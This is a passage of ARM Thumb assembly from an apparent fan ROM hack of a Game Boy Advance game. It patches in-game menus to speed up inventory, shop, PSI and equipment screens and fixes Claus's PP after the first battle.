r1,r1,r2 ldrb r2,[r6,#3] swi #0xB add r4,#0x40 ldrb r2,[r6,#0] add r0,r4,r2 ldrb r2,[r6,#1] add r1,r4,r2 ldrb r2,[r6,#3] swi #0xB b .new_general_swap_single_line_end + ldrb r2,[r6,#2] add r0,r4,r2 //Branch for an item to the right ldrb r2,[r6,#3] swi #0xB add r4,#0x40 ldrb r2,[r6,#2] add r0,r4,r2 mov r1,r4 ldrb r2,[r6,#3] swi #0xB .new_general_swap_single_line_end: pop {r3-r4,pc} //============================================================================================= // Copies a single item's arrangement to a given address r2. // r1 controls whether to copy to or copy from r2 //============================================================================================= .new_general_copy_single_line: push {r3-r7,lr} add sp,#-0x10 mov r7,r2 mov r3,#1 and r3,r0 lsr r0,r0,#1 lsl r0,r0,#7 ldrb r2,[r6,#1] cmp r3,#0 beq + ldrb r2,[r6,#0] //Handle the right side differently + add r0,r5,r0 add r0,r0,r2 //Get the arrangement address mov r2,#0x20 //Save the arrangement address and the target/source address on the stack add r5,r7,r2 //This allows using a generic copying routine mov r2,#0x40 add r2,r0,r2 cmp r1,#1 beq + str r0,[sp,#0] str r2,[sp,#4] str r7,[sp,#8] str r5,[sp,#0xC] b .new_general_copy_single_line_start_copy + str r7,[sp,#0] str r5,[sp,#4] str r0,[sp,#8] str r2,[sp,#0xC] .new_general_copy_single_line_start_copy: ldr r0,[sp,#0] ldr r1,[sp,#8] ldrb r2,[r6,#3] swi #0xB ldr r0,[sp,#4] ldr r1,[sp,#0xC] ldrb r2,[r6,#3] swi #0xB add sp,#0x10 pop {r3-r7,pc} //============================================================================================= // Clears the last item's arrangement //============================================================================================= .new_general_clear_final_line: push {r4,lr} mov r2,#1 lsr r0,r0,#1 lsl r0,r0,#7 cmp r2,#0 beq + ldrb r2,[r6,#0] + add r1,r5,r0 add r1,r1,r2 mov r4,r1 mov r0,#0 push {r0} mov r0,sp //Part that clears the top of the last item's arrangement ldr r2,=#0x01000008 swi #0xC add r4,#0x40 mov r0,sp mov r1,r4 //Part that clears the bottom of the last item's arrangement ldr r2,=#0x01000008 swi #0xC pop {r0} pop {r4,pc} //============================================================================================= // Prepares the withdraw inventory for swapping character. Based off of $804C39A. // Removes the part that resets the cursor's position //============================================================================================= .prepare_swap_char_withdraw: push {r4,lr} ldr r2,=#0x2016028 ldr r0,=#0x4260 add r1,r2,r0 mov r3,#0 mov r0,#0xF strb r0,[r1,#0] //Saves the fact that this is the withdrawing menu ldr r0,=#0x2FE0 add r1,r2,r0 ldr r0,=#0x4264 add r2,r2,r0 ldrb r0,[r2,#0] strh r0,[r1,#0xA] //Remove position resetting ldrh r0,[r1,#0xA] bl $8054FE0 mov r4,r0 bl $80524EC mov r0,r4 bl $80531C8 pop {r4,pc} //============================================================================================= // Prepares the buying inventory for swapping character. Based off of $804C254. // Removes the part that resets the cursor's position //============================================================================================= .prepare_swap_char_buying: push {r4-r6,lr} ldr r6,=#0x2016028 ldr r0,=#0x4260 add r1,r6,r0 mov r2,#0 mov r0,#0xA strb r0,[r1,#0] //Saves the fact that this is the buying menu mov r1,#0xBD lsl r1,r1,#6 add r5,r6,r1 ldr r1,=#0x4264 add r0,r6,r1 ldrb r0,[r0,#0] strh r0,[r5,#0xA] //Remove position resetting ldrh r0,[r5,#0xA] bl $8054FE0 mov r4,r0 bl $80524EC mov r0,r4 bl $8052F9C mov r0,#0x85 lsl r0,r0,#7 add r6,r6,r0 ldrh r0,[r6,#0] strh r0,[r5,#2] pop {r4-r6,pc} //============================================================================================= // This hack saves in r1 whether the game is still printing or not //============================================================================================= .check_if_printed: push {r0,lr} ldr r0,=#0x2013040 //Do the thing only IF we're done printing. ldrh r1,[r0,#2] //Prevents issues with arrangements not being there pop {r0,pc} //============================================================================================= // This hack saves in the stack the info used for printing stuff when things are removed/moved //============================================================================================= .store_menu_movement_data: push {r0,lr} bl main_menu_hacks.get_selected_index str r0,[sp,#0x10] bl main_menu_hacks.get_top_index str r0,[sp,#0xC] bl main_menu_hacks.get_total_indexes str r0,[sp,#8] pop {r0,pc} //============================================================================================= // This hack changes the palette for an item's arrangement that is stored in r0 //============================================================================================= .change_palette: push {r1-r5,lr} mov r4,r0 //r4 = r0 = initial address ldr r2,=#0x0FFF //r2 = 0xFFF, used to get the non-palette part ldrh r1,[r0,#0] mov r3,r1 and r1,r2 cmp r1,#0 beq .change_palette_end //If there is no item, stop here mov r1,r3 mov r5,#0xF0 lsl r5,r5,#8 and r5,r1 mov r3,#0 //Get whether this was 0x8XXX or 0x0XXX cmp r5,#0 bne + mov r3,#0x80 lsl r3,r3,#8 + mov r5,r3 //r5 now has either 0x0000 or 0x8000 mov r3,#0 //r3 is a counter used in order to avoid issues - ldrh r1,[r0,#0] and r1,r2 //Pick the non-palette part cmp r1,#0 beq + //If it's 0, proceed to the next step orr r1,r5 //Otherwise, or it with the new palette strh r1,[r0,#0] //and then store it add r0,#2 add r3,#1 //Continue along cmp r3,#0x10 blt - + mov r0,r4 add r0,#0x40 //Get the bottom address. Initial one + 0x40 mov r3,#0 - ldrh r1,[r0,#0] and r1,r2 //Pick the non-palette part cmp r1,#0 beq + //If it's 0, proceed to the next step orr r1,r5 //Otherwise, or it with the new palette strh r1,[r0,#0] //and then store it add r0,#2 add r3,#1 //Continue along cmp r3,#0x10 blt - + .change_palette_end: pop {r1-r5,pc} //============================================================================================= // This hack sets in r0 a bitmask of the currently valid options // It takes r0 as the base address and r1 as the amount to check //============================================================================================= .get_valid_options: push {r4-r6,lr} mov r4,r0 mov r5,r1 mov r6,#0 //Counter mov r0,#0 //Setup starting bitmask cmp r5,#0x20 //In 4 bytes there are only 0x20 bits bgt .get_valid_options_end - mov r2,#0 ldr r1,[r4,#0] lsl r1,r1,#0xA //Check validity cmp r1,#0 bge + mov r2,#1 + lsl r2,r6 orr r0,r2 //Set r6-th bit in bitmask to r2 add r4,#4 add r6,#1 cmp r5,r6 bgt - .get_valid_options_end: pop {r4-r6,pc} //============================================================================================= // This hack properly handles updating the old options for the shop menu //============================================================================================= .update_shop_valid_options: push {r3,lr} sub r3,r1,r2 //r1 contains the old selected index, r2 contains the old top index mov r2,#0x20 sub r2,r2,r3 mov r1,r0 //Discard the bit of the old selected item and re-compact this lsl r1,r2 lsr r1,r2 add r2,r3,#1 lsr r0,r2 lsl r0,r3 orr r0,r1 pop {r3,pc} //============================================================================================= // This hack gets the valid options for the certain menus //============================================================================================= .get_menu_valid_options: push {r2,lr} bl main_menu_hacks.get_added_value_menu_valid ldr r1,=#0x2016028 //Prepare the address add r1,r1,r2 bl main_menu_hacks.get_top_index lsl r0,r0,#2 //Go to the proper first item on the screen add r2,r1,r0 bl main_menu_hacks.get_possible_indexes mov r1,r0 //Set the number of maximum items mov r0,r2 bl main_menu_hacks.get_valid_options pop {r2,pc} //============================================================================================= // This hack changes the palette for the options that changed validity in the shop menus //============================================================================================= .change_shop_options: push {r4-r6,lr} mov r4,r0 //Save in r4 what changed mov r5,r1 //Arrangement start mov r6,#1 //Number to and with bl .get_possible_indexes mov r3,r0 //Number of items in this menu mov r1,#0 //Current index - mov r0,r6 and r0,r4 cmp r0,#0 beq + lsl r0,r1,#7 //If this isn't 0, it changed... add r0,r5,r0 //Prepare the corresponding arrangement address bl main_menu_hacks.change_palette + add r1,#1 lsl r6,r6,#1 //Prepare to check the next bit cmp r1,r3 //There are r3 items displayed top in this menu blt - pop {r4-r6,pc} //============================================================================================= // This hack changes the palette for the options that changed validity in the psi menu //============================================================================================= .change_psi_options: push {r4-r6,lr} mov r4,r0 //Save in r4 what changed mov r5,r1 //Arrangement start mov r6,#1 //Number to and with bl .get_possible_indexes mov r3,r0 //Number of items in this menu mov r1,#0 //Current index - mov r0,r6 and r0,r4 cmp r0,#0 beq .change_psi_options_end_single lsr r0,r1,#1 //If this isn't 0, it changed... lsl r2,r0,#7 mov r0,#1 and r0,r1 cmp r0,#1 bne + mov r0,#0x1C //Handle the right side + add r0,r0,r2 add r0,r5,r0 //Prepare the corresponding arrangement address bl main_menu_hacks.change_palette .change_psi_options_end_single: add r1,#1 lsl r6,r6,#1 //Prepare to check the next bit cmp r1,r3 //There are r3 items displayed top in this menu blt - pop {r4-r6,pc} //============================================================================================= // This hack removes an item and then prints a new one if need be //============================================================================================= .printing_pressed_a: push {r4-r7,lr} mov r7,r0 ldr r1,[r7,#0] bl main_menu_hacks.get_total_indexes cmp r0,r1 //Skip printing if we don't remove an item from the withdrawing menu beq .printing_pressed_a_end bl main_menu_hacks.get_possible_indexes mov r1,r0 bl main_menu_hacks.get_difference_top_total cmp r0,r1 //We'll need the free tiles if we have more than r1 items after the top one blt + bl main_menu_hacks.new_get_empty_tiles mov r4,r0 //We need to get them now and to store them in order to avoid mov r5,r1 //writing to a bunch of tiles that was just freed mov r6,r2 + //Move the items' arrangements around by one mov r0,r7 bl main_menu_hacks.new_withdraw_swap_arrangement bl main_menu_hacks.get_possible_indexes mov r1,r0 bl main_menu_hacks.get_difference_top_total cmp r0,r1 //If this is >= r1, then we need to print new stuff! bge + //If we don't need to print new stuff, just set buffer to be updated and end this here mov r0,#1 b .printing_pressed_a_end_update + ldr r1,[r7,#4] bl main_menu_hacks.get_top_index cmp r0,r1 //Check if the top index changed between the A press and now... beq + //If it did, the menu position was moved up by one. We don't need to print new stuff at the bottom, //but we'll need to print new stuff at the top (the top two new items) and to move everything down //by one line. Luckily, up_down_scrolling_print_no_get_empty_tiles handles it for us. //We'll just need to trick it into thinking the selected_index corresponds to the top one. bl main_menu_hacks.set_selected_index mov r2,r0 mov r0,r4 mov r1,r5 mov r5,r2 //Saves the old selected_index in r5 temporarily mov r2,r6 bl main_menu_hacks.up_down_scrolling_print_no_get_empty_tiles mov r0,r5 //Restores the old selected_index bl main_menu_hacks.set_selected_index b .printing_pressed_a_end + //If it didn't, we need to print one item at the bottom right mov r1,r0 bl main_menu_hacks.get_possible_indexes sub r0,#1 add r0,r1,r0 bl main_menu_hacks.set_selected_index mov r2,r0 mov r0,r4 mov r1,r5 mov r5,r2 //Saves the old selected_index in r5 temporarily mov r2,r6 bl main_menu_hacks.pressing_a_scrolling_print_no_get_empty_tiles mov r0,r5 //Restores the old selected_index bl main_menu_hacks.set_selected_index .printing_pressed_a_end: mov r0,#0 .printing_pressed_a_end_update: pop {r4-r7,pc} //============================================================================================= // This hack calls printing_pressed_a and then updates the greyed out options. Used only by the sell menu //============================================================================================= .printing_pressed_a_update_grey: push {r4-r5,lr} mov r4,r0 bl .printing_pressed_a mov r5,r0 cmp r0,#1 bne + //Store the arrangements buffer if it returned 1 bl .store_arrangements_buffer + ldr r1,[r4,#0] bl .get_total_indexes cmp r1,r0 //Check if the number of items in the menu changed, otherwise do nothing beq .printing_pressed_a_update_grey_end bl .get_menu_valid_options mov r3,r0 ldr r0,[r4,#0xC] ldr r1,[r4,#0x8] ldr r2,[r4,#0x4] bl .update_shop_valid_options mov r2,r0 cmp r5,#0 bne .printing_pressed_a_update_grey_compare ldr r1,[r4,#4] bl .get_top_index sub r0,r0,r1 mov r1,#0x1F cmp r0,#0 //Check if the top index changed between the A press and now... beq + lsl r2,r2,#1 //These are now the bottom options, not the top ones lsl r1,r1,#1 + and r3,r1 //Make it so the bit that isn't in r2 and the one that is in r3 match .printing_pressed_a_update_grey_compare: eor r2,r3 //If the valid options changed, change cmp r2,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated mov r0,r2 ldr r1,=#0x2016996 bl main_menu_hacks.change_shop_options + .printing_pressed_a_update_grey_end: pop {r4-r5,pc} //============================================================================================= // This hack fixes 8-letter names on the main file load screen. //============================================================================================= .filechoose_lengthfix: str r3,[sp,#0] // clobbered code // Address in r0. Return the length in r3. push {r0,lr} mov r3,#9 // default value bl check_name // see if it's a custom name cmp r0,#0 beq + mov r3,r0 + pop {r0,pc} //============================================================================================= // This hack fixes the fact that if you lose the first battle Claus won't have any PP left //============================================================================================= claus_pp_fix: .main: push {lr} lsl r0,r0,#0x10 //Character identifier lsr r0,r0,#0x10 cmp r0,#2 //Lucas beq + cmp r0,#4 //Kumatora beq + cmp r0,#0xD //Claus bne .failure + mov r0,#1 //Allow copying PPs b .end .failure: //If it's not one of them, then they should not have PPs mov r0,#0 .end: pop {pc} //============================================================================================= // This set of hacks cleans the writing stack //============================================================================================= refreshes: //============================================================================================= // The main hack that clears the actual writing stack //============================================================================================= .main: push {lr} ldr r1,=#0x2013040 //Address of the stack mov r0,#0 str r0,[r1,#0x0] //Clean the words' lengths so it won't print str r0,[r1,#0x10] str r0,[r1,#0x14] str r0,[r1,#0x18] str r0,[r1,#0x1C] pop {pc} //============================================================================================= // These hacks call the main one to clear the writing stack //============================================================================================= .lr: push {lr} bl .main ldrh r1,[r5,#0xA] //Normal stuff the game expects from us ldr r2,=#0x4264 pop {pc} .b: push {lr} bl .main mov r0,#0xD3 //Normal stuff the game expects from us bl $800399C pop {pc} .inv_spec_a: push {lr} bl .main ldr r1,=#0x426A //Normal stuff the game expects from us add r0,r1,r7 pop {pc} .memo_a: push {lr} bl .main mov r0,r5 //Normal stuff the game expects from us bl $804EEE8 pop {pc} .equip_a: push {lr} bl .main mov r0,r4 //Normal stuff the game expects from us bl $804EB68 pop {pc} .inner_memo_scroll: push {r1,lr} //Let's save r1, since the game needs it bl .main pop {r1} mov r0,r1 //Normal stuff the game expects from us bl $804EF38 pop {pc} .inner_equip_a: push {lr} bl .main ldr r7,=#0x2016028 //Normal stuff the game expects from us ldr r0,=#0x41C6 pop {pc} .switch_lr: push {lr} bl .main ldrh r0,[r4,#4] //Normal stuff the game expects from us bl $8053E98 pop {pc} .status_lr: push {lr} bl .main ldrh r1,[r4,#0xA] //Normal stuff the game expects from us ldr r2,=#0x4264 pop {pc} //============================================================================================= // These hacks call the main one to clear the writing stack and then blank out the tiles. // This makes it so the printing process isn't showed //============================================================================================= .deposit_lr: push {lr} bl .main bl main_menu_hacks.delete_vram bl $804C35C //Normal stuff the game expects from us pop {pc} .psi_select: push {lr} bl .main bl main_menu_hacks.delete_vram mov r0,#0xD2 //Normal stuff the game expects from us bl $800399C pop {pc} .status_a: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#4 bne + bl .main bl main_menu_hacks.delete_oam_vram + bl $8046D90 //Normal stuff the game expects from us pop {pc} .skills_b: push {lr} bl .main bl main_menu_hacks.delete_oam_vram mov r0,#0xD3 //Normal stuff the game expects from us bl $800399C pop {pc} //============================================================================================= // This hack blanks out a part of OAM's text tiles. // This makes it so the printing process isn't showed //============================================================================================= .inv_submenu_a: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#0 //Make sure we're in the inventory. Double checking never hurts bne + //If we are, clean a subsection of OAM's VRAM bl main_menu_hacks.delete_oam_vram_subsection + bl $804FA5C //Normal stuff the game expects from us pop {pc} //============================================================================================= // This hack calls the main one to clear the writing stack. // It then changes how the withdraw menu swaps character. (Top index and selected item won't change) //============================================================================================= .withdraw_lr: push {lr} bl .main //Don't refresh the withdraw menu when we swap character... bl main_menu_hacks.prepare_swap_char_withdraw pop {pc} //============================================================================================= // This hack calls the main one to clear the writing stack. // It then moves the text up/down and prints only the bottom/top line //============================================================================================= .up_and_down: push {r0-r2,lr} bl .main //bl $8046D90 //Normal stuff the game expects from us bl main_menu_hacks.up_down_scrolling_print pop {r0-r2,pc} //============================================================================================= // This hack calls the main one to clear the writing stack only if the game's done printing. // If the game's done printing, it then moves the text up/down and prints only the bottom/top line //============================================================================================= .up_and_down_battle_memoes: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r5 mov r1,r7 bl $8053598 lsl r0,r0,#0x10 lsr r0,r0,#0x10 cmp r0,#2 bne + push {r0-r2} bl .main bl main_menu_hacks.up_down_scrolling_print ldr r1,=#0xC5AD //Signal printing add r1,r1,r6 ldrb r0,[r1,#0] mov r2,#1 orr r0,r2 strb r0,[r1,#0] pop {r0-r2} mov r0,#1 + add sp,#4 pop {pc} //============================================================================================= // These hacks allow input reading only if the game's done printing. //============================================================================================= .inv_block_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 //Have we finished printing? beq .inv_block_a_passed //Yes! Then let it do what it wants to do pop {r0} ldr r0,=#0x804CC35 //No! Prevent the game from opening stuff we don't want yet. bx r0 .inv_block_a_passed: ldr r0,=#0x2DFA //Normal stuff the game expects from us add r1,r7,r0 pop {pc} .inv_submenu_block_a: push {lr} bl main_menu_hacks.check_if_printed mov r0,r1 mov r1,#0 //Have we finished printing? cmp r0,#0 bne + ldrh r1,[r4,#0] //Normal input loading + mov r0,#3 pop {pc} .sell_block_input_up_and_down: push {lr} add sp,#-0x8 str r0,[sp,#4] ldr r0,[sp,#0xC] str r0,[sp,#0] //Prepare args for the function mov r2,r1 bl main_menu_hacks.check_if_printed mov r0,#0 //Do this only if it's done printing cmp r1,#0 bne + ldr r0,[sp,#4] mov r1,r2 mov r2,r5 bl $8053598 + add sp,#0x8 pop {pc} .sell_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 bne + push {r2} //Let's save r2, since the game needs it bl .main pop {r2} mov r0,r2 //Normal stuff the game expects from us bl $804F0D4 + pop {pc} .psi_prevent_input_a_select: push {lr} bl main_menu_hacks.check_if_printed mov r0,r1 ldrh r1,[r7,#0] //Input cmp r0,#0 beq + ldr r0,=#0xFFFA and r1,r0 //Prevent using A and SELECT if the PSI menu isn't fully done printing + cmp r1,#1 //Clobbered code pop {pc} .withdraw_psi_memo_block_input_up_and_down: push {lr} add sp,#-0xC ldr r0,[sp,#0x10] str r0,[sp,#0] ldr r0,[sp,#0x14] str r0,[sp,#4] ldr r0,[sp,#0x18] str r0,[sp,#8] //Prepare args for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do this only if it's done printing cmp r1,#0 bne + add r0,r5,#4 mov r1,r5 add r1,#8 bl $8053968 + add sp,#0xC pop {pc} .withdraw_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + add r0,r4,#4 mov r1,r7 bl $8053754 + add sp,#4 pop {pc} .buy_block_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 //Prevent confirming buying (it interacts with bne + //the arrangements) unless everything's printed bl $8050008 + pop {pc} .buy_block_up_down: push {lr} add sp,#-4 mov r2,r0 bl main_menu_hacks.check_if_printed mov r0,#0 //Prevent scrolling up or down (it interacts with cmp r1,#0 //the arrangements) unless everything's printed bne + ldr r0,[sp,#8] //Prepare args for the function str r0,[sp,#0] mov r0,r2 mov r2,r5 add r1,r0,#4 bl $8053598 + add sp,#4 pop {pc} .buy_block_lr: push {lr} add sp,#-4 mov r2,r0 bl main_menu_hacks.check_if_printed mov r0,#0 //Prevent changing character (it interacts with cmp r1,#0 //the arrangements) unless everything's printed bne + ldr r0,[sp,#8] //Prepare args for the function str r0,[sp,#0] mov r1,r5 mov r0,r2 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} .equip_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r4 add r0,#0xA mov r1,r5 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} .status_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r4 add r0,#0xA mov r1,r2 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} //============================================================================================= // This hack updates the inventory. // It then returns both the new inventory size and the one before updating it //============================================================================================= .inv_load_new_old_size: push {lr} add sp,#-4 mov r1,r0 bl main_menu_hacks.get_character_inventory_total_indexes str r0,[sp,#0] //Save old inventory's size mov r0,r1 bl $80524EC //Routine that updates inventory's size bl main_menu_hacks.get_character_inventory_total_indexes ldr r1,[sp,#0] //Put in r0 the new size and in r1 the old one add sp,#4 pop {pc} //============================================================================================= // This hack makes it so if we're in the buying menu, a certain B branch doesn't update the screen. // This happens in the "Equip X?" and "Sell X?" submenus //============================================================================================= .shop_block_b_update: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] //Load the menu type cmp r0,#0xA //Is this the buying menu? beq + bl $8046D90 //If not, proceed normally + pop {pc} //============================================================================================= // This hack handles using/giving/throwing inventory items in an optimized way by not printing //============================================================================================= .inv_handle_item_movement: push {r4,lr} add sp,#-0x50 mov r4,#0 str r4,[sp,#0xC] //Set this address to a default mov r4,r2 bl main_menu_hacks.store_menu_movement_data bl .inv_load_new_old_size cmp r0,r1 bne + //Did the inventory's size change? //If it did not, check if we should move the item to the bottom cmp r4,#1 bne .inv_handle_item_movement_end str r0,[sp,#0xC] //Save the fact that we should move the item to the bottom mov r0,sp mov r1,#0 //Copy from the arrangements mov r2,#0x10 add r2,r2,r0 //Load the item's arrangements in bl main_menu_hacks.new_inventory_copy_arrangement + mov r0,sp bl main_menu_hacks.new_inventory_deposit_swap_arrangement ldr r0,[sp,#0xC] cmp r0,#0 beq + sub r0,r0,#1 str r0,[sp,#8] //Put the target in the movement data mov r0,sp mov r1,#1 //Copy to the arrangements mov r2,#0x10 add r2,r2,r0 //Move the item's arrangement to the bottom bl main_menu_hacks.new_inventory_copy_arrangement + bl main_menu_hacks.store_arrangements_buffer mov r0,#0 //Return the fact that the size changed .inv_handle_item_movement_end: add sp,#0x50 pop {r4,pc} //============================================================================================= // This hack handles using and throwing inventory items //============================================================================================= .inv_use_throw: push {r2,lr} mov r2,#0 //If the size stays the same, no operation to be done bl .inv_handle_item_movement cmp r0,#0 bne + ldr r0,=#0x2015D98 ldrb r1,[r0,#0] mov r2,#4 //Prevents glitch in which the new currently selected item's data would show up for the top OAM orr r1,r2 strb r1,[r0,#0] + pop {r2,pc} //============================================================================================= // This hack handles giving inventory items (It's a special case because you can give them // to the same character and change the inventory's order without changing its size) //============================================================================================= .inv_give: push {r2,lr} mov r2,#1 //If the size stays the same, move the item to the bottom bl .inv_handle_item_movement pop {r2,pc} //============================================================================================= // These hacks save which entries are valid and then update them. // This allows changing the palette of certain entries instead of reprinting them //============================================================================================= .sell_confirmed_a: push {lr} add sp,#-0x10 bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0xC] bl $8050218 add sp,#0x10 pop {pc} .sell_confirmed_equipment_a: push {lr} add sp,#-0x10 bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0xC] bl $805030C add sp,#0x10 pop {pc} //============================================================================================= // These hacks update the palette of certain entries instead of reprinting them. // They also remove the sold item and only print the one at the bottom (if it exists) //============================================================================================= .sell_equipment_confirmed_printing_pressed_a: push {lr} mov r0,sp add r0,#0x1C bl main_menu_hacks.printing_pressed_a_update_grey pop {pc} .sell_confirmed_printing_pressed_a: push {lr} mov r0,sp add r0,#0x14 bl main_menu_hacks.printing_pressed_a_update_grey pop {pc} //============================================================================================= // These hacks update the palette of certain entries instead of reprinting them //============================================================================================= .psi_used: push {r4,lr} add sp,#-4 mov r4,r0 bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now mov r0,r4 bl $8052864 //Do the PSI used routine... mov r0,r4 bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x201697A bl main_menu_hacks.change_psi_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {r4,pc} .buy_a: push {lr} add sp,#-4 bl .main bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now mov r0,r4 bl $8052F9C //Do the confirming buying routine... bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x2016992 bl main_menu_hacks.change_shop_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {pc} .buy_lr: push {lr} add sp,#-4 bl .main bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now bl main_menu_hacks.prepare_swap_char_buying bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x2016992 bl main_menu_hacks.change_shop_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {pc} .sell_after_buy_a: push {r4,lr} mov r4,r5 //Cover the -selling old equipment bl .buy_a //after buying new one- case pop {r4,pc} //============================================================================================= // This hack allows input reading only if the game's done printing. // If it is done, then it saves the current position of the cursor in order to // only remove what is needed without reprinting the entire menu //============================================================================================= .deposit_a: push {lr} bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + add sp,#-0xC //Prepare the item's index for the deposit-movement routine bl main_menu_hacks.store_menu_movement_data bl .main mov r0,r4 //Normal stuff the game expects from us bl $804F1D8 add sp,#0xC + pop {pc} //============================================================================================= // This hack moves the items in the deposit menu around instead of reprinting them //============================================================================================= .deposit_printing_pressed_a: push {lr} mov r0,sp add r0,#0x1C bl main_menu_hacks.new_inventory_deposit_swap_arrangement bl main_menu_hacks.store_arrangements_buffer pop {pc} //============================================================================================= // This hack allows input reading only if the game's done printing. // If it is done, then it saves the current position of the cursor in order to // only remove what is needed without reprinting the entire menu // It also checks whether there is space in the character's inventory //============================================================================================= .withdraw_a: push {lr} add sp,#-0xC bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.check_if_printed cmp r1,#0 //Do the thing only IF we're done printing. bne .withdraw_a_end //Prevents issues with arrangements not being there ldr r0,=#0x201A294 //Check if the inventory is full. If it is, then the game won't print again and we need to let it do its thing. We need to manually increment this, as the original devs forgot to do it. ldrh r1,[r0,#0] cmp r1,#0x10 bge + add r1,#1 strh r1,[r0,#0] bl .main + mov r0,r5 //Normal stuff the game expects from us bl $804F294 .withdraw_a_end: add sp,#0xC pop {pc} //============================================================================================= // This hack moves the items in the withdraw menu around instead of reprinting them //============================================================================================= .withdraw_printing_pressed_a: push {lr} mov r0,sp add r0,#0x14 bl main_menu_hacks.printing_pressed_a cmp r0,#1 bne + //Store the arrangements buffer if it returned 1 bl main_menu_hacks.store_arrangements_buffer + pop {pc} //============================================================================================= // This set of hack tries to improve the performances of menus that may use most of the CPU // in certain specific situations (Status and Equip). //============================================================================================= improve_performances_menus: //============================================================================================= // This hack prints "Weapon", "Body", "Head", "Other" and "Skills" in VRAM. //============================================================================================= .status_vram_equip_descriptors: push {lr} add sp,#-4 str r4,[sp,#0] bl $8047B9C //Base code, orders printing "PP" mov r0,#0x52 bl $80486A0 //Load up "Weapon" str r4,[sp,#0] mov r1,#9 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x54 bl $80486A0 //Load up "Body" str r4,[sp,#0] mov r1,#9 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x53 bl $80486A0 //Load up "Head" str r4,[sp,#0] mov r1,#9 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x55 bl $80486A0 //Load up "Other" str r4,[sp,#0] mov r1,#9 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x56 bl $80486A0 //Load up "Skills" str r4,[sp,#0] mov r1,#9 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing add sp,#4 pop {pc} //============================================================================================= // This hack prints "Weapon", "Body", "Head" and "Other" in VRAM. //============================================================================================= .equipment_vram_equip_descriptors: push {lr} add sp,#-4 mov r4,#1 mov r5,#1 neg r5,r5 mov r0,#0x52 bl $80486A0 //Load up "Weapon" str r4,[sp,#0] mov r1,#0xB mov r2,#2 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x54 bl $80486A0 //Load up "Body" str r4,[sp,#0] mov r1,#0xB mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x53 bl $80486A0 //Load up "Head" str r4,[sp,#0] mov r1,#0xB mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x55 bl $80486A0 //Load up "Other" str r4,[sp,#0] mov r1,#0xB mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing ldr r0,=#0x201A51B mov r1,#0 add sp,#4 pop {pc} //============================================================================================= // Avoid reprinting stuff we don't need to when closing the equipment submenu //============================================================================================= .equip_avoid_left_reprint: push {lr} ldr r0,=#0x201A51B mov r1,#4 strb r1,[r0,#0] //Specify no reprinting for left column bl $8046D90 //Call printing ldr r0,=#0x201A51B mov r1,#0 strb r1,[r0,#0] //Restore previous value pop {pc} //============================================================================================= // This set of hack removes the lag from the "Delete all saves" menu. // To access it, press LOAD in the main menu with L + R + START + A held down //============================================================================================= fix_lag_delete_all: //============================================================================================= // This hack makes it so the "LV" icon has the same priority as the other OAM entries. // Otherwise it could pop over the backgorund //============================================================================================= .change_level_priority: mov r6,#2 str r6,[sp,#0] mov r6,#1 //Set r6 to 1 because the rest of the function expects it to be 1 bx lr //============================================================================================= // This hack makes it so BG1 (the VRAM BG) is 5 pixels lower. // It makes it possible to match the original text. //============================================================================================= .change_bg1_coords: ldr 